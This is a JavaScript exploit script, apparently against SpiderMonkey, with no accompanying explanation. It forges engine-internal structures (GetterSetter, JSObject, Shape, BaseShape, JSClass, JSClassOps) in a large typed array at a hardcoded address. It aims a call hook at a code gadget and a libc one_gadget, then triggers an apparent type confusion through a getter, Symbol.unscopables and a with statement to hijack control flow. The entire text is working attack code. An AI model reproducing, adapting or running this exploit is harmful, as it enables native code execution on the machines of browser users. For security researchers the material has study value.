let ab = new ArrayBuffer(8); let f64a = new Float64Array(ab, 0, 1); let i32a = new Uint32Array(ab, 0, 2); let si32a = new Int32Array(ab, 0, 2); let bi64a = new BigUint64Array(ab, 0, 1); function c2f(low, high) { // combined (two 4 bytes) word to float i32a[0] = low; i32a[1] = high; return f64a[0]; } function b2f(v) { // bigint to float bi64a[0] = v; return f64a[0]; } function f2b(v) { // float to bigint f64a[0] = v; return bi64a[0]; } const buffer = new BigUint64Array(0x2000_0000); const bufferAddr = 0x7ffe_f4c0_0000n; const GetterSetterOffset = 0x0n; const JSObjectOffset = 0x10n; const ShapeOffset = 0x60n; const BaseShapeOffset = 0x100n; const JSClassOffset = 0x150n; const JSClassOpsOffset = 0x200n; // Faked GetterSetter buffer[GetterSetterOffset / 8n] = bufferAddr + JSObjectOffset; // Faked JSObject buffer[JSObjectOffset / 8n] = bufferAddr + ShapeOffset; // Faked Shape buffer[ShapeOffset / 8n] = bufferAddr + BaseShapeOffset; buffer[(ShapeOffset + 0x8n) / 8n] = 0b01_0000n; // immutableFlags: Shared (Mustn't be Proxy) // Faked BaseShape buffer[BaseShapeOffset / 8n] = bufferAddr + JSClassOffset; // clasp buffer[(BaseShapeOffset + 0x8n) / 8n] = 0x7fff_f6d1_3c00n; // realm: JSContext.realm_ (varies across different runs even ASLR disabled) // Faked JSClass buffer[(JSClassOffset + 0x10n) / 8n] = bufferAddr + JSClassOpsOffset; // cOps // Faked JSClassOps buffer[(JSClassOpsOffset + 0x38n) / 8n] = 0x555555554000n + 0x00000000022efccen; // call: gadget: call qword ptr [r13 + 0x48] // r13 points to bufferAddr + JSObjectOffset at first control flow hijacking point buffer[(JSObjectOffset + 0x48n) / 8n] = 0x7ffff7800000n + 0x583dcn; // libc one_gadget const obj = { get prop() { Object.defineProperty(this, "prop", { enumerable: true, value: b2f(bufferAddr) }); return false; }, }; obj[Symbol.unscopables] = obj; with (obj) { prop; }